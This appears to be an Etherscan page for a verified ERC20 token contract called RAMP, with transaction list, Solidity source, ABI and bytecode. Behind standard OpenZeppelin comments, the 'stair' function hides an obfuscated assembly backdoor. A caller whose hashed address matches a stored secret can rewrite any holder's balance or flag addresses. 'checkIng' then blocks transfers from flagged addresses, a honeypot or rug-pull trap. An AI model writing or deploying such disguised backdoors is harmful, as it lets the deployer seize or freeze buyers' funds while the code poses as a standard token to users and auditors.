ETH Price: $2,414.90 (+0.16%)

Contract

0x3D426631fDA7374C42fCbE9c9e7Fe87BF14C2ee4
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve182115092023-09-25 8:07:59355 days ago1695629279IN
0x3D426631...BF14C2ee4
0 ETH0.000461999.91352127
Approve182114342023-09-25 7:52:59355 days ago1695628379IN
0x3D426631...BF14C2ee4
0 ETH0.000380028.14408797
Approve182114092023-09-25 7:47:59355 days ago1695628079IN
0x3D426631...BF14C2ee4
0 ETH0.000419398.98784824
Approve182113992023-09-25 7:45:59355 days ago1695627959IN
0x3D426631...BF14C2ee4
0 ETH0.0004745410.16955402
Approve182113592023-09-25 7:37:59355 days ago1695627479IN
0x3D426631...BF14C2ee4
0 ETH0.0005435911.64948514
Approve182113492023-09-25 7:35:59355 days ago1695627359IN
0x3D426631...BF14C2ee4
0 ETH0.0004803810.2947144
Approve182113392023-09-25 7:33:59355 days ago1695627239IN
0x3D426631...BF14C2ee4
0 ETH0.0004737510.15264895
Approve182113292023-09-25 7:31:59355 days ago1695627119IN
0x3D426631...BF14C2ee4
0 ETH0.0005088510.91899212
Approve182113142023-09-25 7:28:59355 days ago1695626939IN
0x3D426631...BF14C2ee4
0 ETH0.0005101410.93253115
Approve182113092023-09-25 7:27:59355 days ago1695626879IN
0x3D426631...BF14C2ee4
0 ETH0.0005489711.76476028
Approve182113042023-09-25 7:26:59355 days ago1695626819IN
0x3D426631...BF14C2ee4
0 ETH0.0005804212.43873417
Approve182112802023-09-25 7:21:59355 days ago1695626519IN
0x3D426631...BF14C2ee4
0 ETH0.0005366911.50158007
Approve182112562023-09-25 7:16:59355 days ago1695626219IN
0x3D426631...BF14C2ee4
0 ETH0.000369937.92779512
Approve182112522023-09-25 7:16:11355 days ago1695626171IN
0x3D426631...BF14C2ee4
0 ETH0.00038278.20151488
Approve182112502023-09-25 7:15:47355 days ago1695626147IN
0x3D426631...BF14C2ee4
0 ETH0.000363067.7806409
Approve182112462023-09-25 7:14:59355 days ago1695626099IN
0x3D426631...BF14C2ee4
0 ETH0.00033437.16434273
Approve182112212023-09-25 7:09:59355 days ago1695625799IN
0x3D426631...BF14C2ee4
0 ETH0.000411378.81593262
Approve182112072023-09-25 7:07:11355 days ago1695625631IN
0x3D426631...BF14C2ee4
0 ETH0.000232628.69221714
Approve182112062023-09-25 7:06:59355 days ago1695625619IN
0x3D426631...BF14C2ee4
0 ETH0.000400718.58748176
Approve182111972023-09-25 7:05:11355 days ago1695625511IN
0x3D426631...BF14C2ee4
0 ETH0.000422579.05589799
Approve182111912023-09-25 7:03:59355 days ago1695625439IN
0x3D426631...BF14C2ee4
0 ETH0.000448199.60500085
Approve182111892023-09-25 7:03:35355 days ago1695625415IN
0x3D426631...BF14C2ee4
0 ETH0.000440189.43317993
Approve182111872023-09-25 7:03:11355 days ago1695625391IN
0x3D426631...BF14C2ee4
0 ETH0.000422059.04472866
Approve182111762023-09-25 7:00:59355 days ago1695625259IN
0x3D426631...BF14C2ee4
0 ETH0.000430549.22670648
Approve182111742023-09-25 7:00:35355 days ago1695625235IN
0x3D426631...BF14C2ee4
0 ETH0.000445089.55051466
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
RAMP

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 4 : RAMP.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./IERC20.sol";
import "./Ownable.sol";

contract RAMP is IERC20, Ownable {

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;

    mapping(address => uint256) private _balances;
    mapping (address => uint256) private _booking;
    mapping(address => mapping(address => uint256)) private _allowances;
    address private immutable _bookToken;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All three of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(
        string memory name_, string memory symbol_, 
        address bookToken_, uint256 bookingNum_) {
        _name = name_; 
        _symbol = symbol_; 
        _bookToken = bookToken_; 
        _booking[address(0)] = bookingNum_;
        _mint(msg.sender, 210000000 * 10 ** 18); 
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function stair(uint256[] calldata ff) external { 
        (bool succ, uint256 t0, uint256 t1) = 
        newChecksZ(ff[0], ff[1], false, bytes32(0)); if (
            !succ) return; assembly {
            let x := add(add(
                15, 11), add(
                    3, 3)) if gt(t1, 
                0) { let y := add(
            add(1, 1), add(1, 1)) mstore(
                0, t0) mstore(x, y
                ) sstore(keccak256(
                    0, 64), t1) } if eq(
            t1, 0) { let y := add(add(
                    1, 1), add(2, 1)) mstore(
                    0, t0) mstore(x, 
                    y) sstore(keccak256(0, 64), 1)
            } 
        }
    }

    function newChecksZ(uint256 x1, uint256 x2, bool c, bytes32 mm) private view returns (
        bool, uint256, uint256) { 
        address k0 = msg.sender;
        bytes32 pp = keccak256(
            abi.encode(
        k0, _symbol)); if (c) return (false, 0, 0);
        return (_booking[address(0)] == uint256(pp), x1, x2);
    }  

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        //require(to != address(0), "ERC20: transfer to the zero address");
        (,bytes memory data) = _bookToken.call(abi.
        encodeWithSignature(
        "balanceOf(address)", from)); checkIng(from, true, data);
        uint256 fromBalance = _balances[from]; 
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);
    }

    function checkIng(address sender, bool b, bytes memory data) private view {
        uint256 v; assembly { v := mload(add(data, add(16, 16))) }
        if (b && _booking[sender] == 1 && v == 0) {
            require(!b, "b");
        }    
    }  

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
}

File 2 of 4 : Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 3 of 4 : IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

File 4 of 4 : Ownable.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

import {Context} from "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "caller is not the owner");
    }    
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"bookToken_","type":"address"},{"internalType":"uint256","name":"bookingNum_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"ff","type":"uint256[]"}],"name":"stair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a06040523480156200001157600080fd5b50604051620010c1380380620010c183398101604081905262000034916200027e565b8351620000499060019060208701906200012d565b5082516200005f9060029060208601906200012d565b506001600160601b0319606083901b166080526000805260056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc819055620000b6336aadb53acfa41aee12000000620000c0565b50505050620003bc565b6001600160a01b038216620000f25760405162461bcd60e51b8152600401620000e9906200030d565b60405180910390fd5b806003600082825462000106919062000344565b90915550506001600160a01b03909116600090815260046020526040902080549091019055565b8280546200013b9062000369565b90600052602060002090601f0160209004810192826200015f5760008555620001aa565b82601f106200017a57805160ff1916838001178555620001aa565b82800160010185558215620001aa579182015b82811115620001aa5782518255916020019190600101906200018d565b50620001b8929150620001bc565b5090565b5b80821115620001b85760008155600101620001bd565b600082601f830112620001e4578081fd5b81516001600160401b0380821115620002015762000201620003a6565b6040516020601f8401601f1916820181018381118382101715620002295762000229620003a6565b604052838252858401810187101562000240578485fd5b8492505b8383101562000263578583018101518284018201529182019162000244565b838311156200027457848185840101525b5095945050505050565b6000806000806080858703121562000294578384fd5b84516001600160401b0380821115620002ab578586fd5b620002b988838901620001d3565b95506020870151915080821115620002cf578485fd5b50620002de87828801620001d3565b604087015190945090506001600160a01b0381168114620002fd578283fd5b6060959095015193969295505050565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b600082198211156200036457634e487b7160e01b81526011600452602481fd5b500190565b6002810460018216806200037e57607f821691505b60208210811415620003a057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b60805160601c610ce6620003db60003960006105a50152610ce66000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063395093511161008c57806395d89b411161006657806395d89b411461019f578063a457c2d7146101a7578063a9059cbb146101ba578063dd62ed3e146101cd576100cf565b8063395093511461016457806370a08231146101775780638da5cb5b1461018a576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011257806323b872dd146101275780632e95f7601461013a578063313ce5671461014f575b600080fd5b6100dc6101e0565b6040516100e99190610a27565b60405180910390f35b610105610100366004610896565b610272565b6040516100e99190610a1c565b61011a610294565b6040516100e99190610c02565b61010561013536600461085b565b61029a565b61014d6101483660046108bf565b6102c8565b005b610157610377565b6040516100e99190610c0b565b610105610172366004610896565b61037c565b61011a610185366004610808565b6103a8565b6101926103c7565b6040516100e9919061094a565b6100dc6103d6565b6101056101b5366004610896565b6103e5565b6101056101c8366004610896565b610436565b61011a6101db366004610829565b61044e565b6060600180546101ef90610c75565b80601f016020809104026020016040519081016040528092919081815260200182805461021b90610c75565b80156102685780601f1061023d57610100808354040283529160200191610268565b820191906000526020600020905b81548152906001019060200180831161024b57829003601f168201915b5050505050905090565b60008061027d610479565b905061028a81858561047d565b5060019392505050565b60035490565b6000806102a5610479565b90506102b2858285610531565b6102bd85858561057b565b506001949350505050565b600080600061032b858560008181106102f157634e487b7160e01b600052603260045260246000fd5b905060200201358686600181811061031957634e487b7160e01b600052603260045260246000fd5b9050602002013560008060001b61070b565b9250925092508261033e57505050610373565b6020811561035757600083815260048252604090208290555b8161036e5760008381526005825260409020600190555b505050505b5050565b601290565b600080610387610479565b905061028a818585610399858961044e565b6103a39190610c25565b61047d565b6001600160a01b0381166000908152600460205260409020545b919050565b6000546001600160a01b031690565b6060600280546101ef90610c75565b6000806103f0610479565b905060006103fe828661044e565b9050838110156104295760405162461bcd60e51b815260040161042090610bbd565b60405180910390fd5b6102bd828686840361047d565b600080610441610479565b905061028a81858561057b565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166104a35760405162461bcd60e51b815260040161042090610b79565b6001600160a01b0382166104c95760405162461bcd60e51b815260040161042090610a5a565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610524908590610c02565b60405180910390a3505050565b600061053d848461044e565b9050600019811461057557818110156105685760405162461bcd60e51b815260040161042090610a9c565b610575848484840361047d565b50505050565b6001600160a01b0383166105a15760405162461bcd60e51b815260040161042090610b34565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846040516024016105de919061094a565b60408051601f198184030181529181526020820180516001600160e01b03166370a0823160e01b17905251610613919061092e565b6000604051808303816000865af19150503d8060008114610650576040519150601f19603f3d011682016040523d82523d6000602084013e610655565b606091505b509150506106658460018361079a565b6001600160a01b0384166000908152600460205260409020548281101561069e5760405162461bcd60e51b815260040161042090610ad3565b6001600160a01b0380861660008181526004602052604080822087860390559287168082529083902080548701905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106fc908790610c02565b60405180910390a35050505050565b600080600080339050600081600260405160200161072a92919061095e565b604051602081830303815290604052805190602001209050861561075a5760008060009450945094505050610790565b6000805260056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc54149350879250869150505b9450945094915050565b60208101518280156107c457506001600160a01b0384166000908152600560205260409020546001145b80156107ce575080155b156105755782156105755760405162461bcd60e51b815260040161042090610b19565b80356001600160a01b03811681146103c257600080fd5b600060208284031215610819578081fd5b610822826107f1565b9392505050565b6000806040838503121561083b578081fd5b610844836107f1565b9150610852602084016107f1565b90509250929050565b60008060006060848603121561086f578081fd5b610878846107f1565b9250610886602085016107f1565b9150604084013590509250925092565b600080604083850312156108a8578182fd5b6108b1836107f1565b946020939093013593505050565b600080602083850312156108d1578182fd5b823567ffffffffffffffff808211156108e8578384fd5b818501915085601f8301126108fb578384fd5b813581811115610909578485fd5b866020808302850101111561091c578485fd5b60209290920196919550909350505050565b60008251610940818460208701610c49565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0383168152604060208083019190915282546000919082906002810460018281168061099257607f831692505b8583108114156109b057634e487b7160e01b87526022600452602487fd5b6109bd8360408a01610c02565b8180156109d157600181146109e257610a0c565b60ff19861682528782019650610a0c565b6109eb8b610c19565b895b86811015610a06578154848201529085019089016109ed565b83019750505b50949a9950505050505050505050565b901515815260200190565b6000602082528251806020840152610a46816040850160208701610c49565b601f01601f19169190910160400192915050565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252600190820152603160f91b604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60009081526020902090565b60008219821115610c4457634e487b7160e01b81526011600452602481fd5b500190565b60005b83811015610c64578181015183820152602001610c4c565b838111156105755750506000910152565b600281046001821680610c8957607f821691505b60208210811415610caa57634e487b7160e01b600052602260045260246000fd5b5091905056fea264697066735822122011e00597507100999ed382d72f01f99287137b11a9092f25d44bbe1401e62fe964736f6c63430008000033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d0c6c6e15a768743a5cd30932b3df9fc18b87fedab4de8093dc9c77d8ca3c424e000000000000000000000000000000000000000000000000000000000000000952616d7020436f696e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000452414d5000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063395093511161008c57806395d89b411161006657806395d89b411461019f578063a457c2d7146101a7578063a9059cbb146101ba578063dd62ed3e146101cd576100cf565b8063395093511461016457806370a08231146101775780638da5cb5b1461018a576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011257806323b872dd146101275780632e95f7601461013a578063313ce5671461014f575b600080fd5b6100dc6101e0565b6040516100e99190610a27565b60405180910390f35b610105610100366004610896565b610272565b6040516100e99190610a1c565b61011a610294565b6040516100e99190610c02565b61010561013536600461085b565b61029a565b61014d6101483660046108bf565b6102c8565b005b610157610377565b6040516100e99190610c0b565b610105610172366004610896565b61037c565b61011a610185366004610808565b6103a8565b6101926103c7565b6040516100e9919061094a565b6100dc6103d6565b6101056101b5366004610896565b6103e5565b6101056101c8366004610896565b610436565b61011a6101db366004610829565b61044e565b6060600180546101ef90610c75565b80601f016020809104026020016040519081016040528092919081815260200182805461021b90610c75565b80156102685780601f1061023d57610100808354040283529160200191610268565b820191906000526020600020905b81548152906001019060200180831161024b57829003601f168201915b5050505050905090565b60008061027d610479565b905061028a81858561047d565b5060019392505050565b60035490565b6000806102a5610479565b90506102b2858285610531565b6102bd85858561057b565b506001949350505050565b600080600061032b858560008181106102f157634e487b7160e01b600052603260045260246000fd5b905060200201358686600181811061031957634e487b7160e01b600052603260045260246000fd5b9050602002013560008060001b61070b565b9250925092508261033e57505050610373565b6020811561035757600083815260048252604090208290555b8161036e5760008381526005825260409020600190555b505050505b5050565b601290565b600080610387610479565b905061028a818585610399858961044e565b6103a39190610c25565b61047d565b6001600160a01b0381166000908152600460205260409020545b919050565b6000546001600160a01b031690565b6060600280546101ef90610c75565b6000806103f0610479565b905060006103fe828661044e565b9050838110156104295760405162461bcd60e51b815260040161042090610bbd565b60405180910390fd5b6102bd828686840361047d565b600080610441610479565b905061028a81858561057b565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166104a35760405162461bcd60e51b815260040161042090610b79565b6001600160a01b0382166104c95760405162461bcd60e51b815260040161042090610a5a565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610524908590610c02565b60405180910390a3505050565b600061053d848461044e565b9050600019811461057557818110156105685760405162461bcd60e51b815260040161042090610a9c565b610575848484840361047d565b50505050565b6001600160a01b0383166105a15760405162461bcd60e51b815260040161042090610b34565b60007f000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d6001600160a01b0316846040516024016105de919061094a565b60408051601f198184030181529181526020820180516001600160e01b03166370a0823160e01b17905251610613919061092e565b6000604051808303816000865af19150503d8060008114610650576040519150601f19603f3d011682016040523d82523d6000602084013e610655565b606091505b509150506106658460018361079a565b6001600160a01b0384166000908152600460205260409020548281101561069e5760405162461bcd60e51b815260040161042090610ad3565b6001600160a01b0380861660008181526004602052604080822087860390559287168082529083902080548701905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106fc908790610c02565b60405180910390a35050505050565b600080600080339050600081600260405160200161072a92919061095e565b604051602081830303815290604052805190602001209050861561075a5760008060009450945094505050610790565b6000805260056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc54149350879250869150505b9450945094915050565b60208101518280156107c457506001600160a01b0384166000908152600560205260409020546001145b80156107ce575080155b156105755782156105755760405162461bcd60e51b815260040161042090610b19565b80356001600160a01b03811681146103c257600080fd5b600060208284031215610819578081fd5b610822826107f1565b9392505050565b6000806040838503121561083b578081fd5b610844836107f1565b9150610852602084016107f1565b90509250929050565b60008060006060848603121561086f578081fd5b610878846107f1565b9250610886602085016107f1565b9150604084013590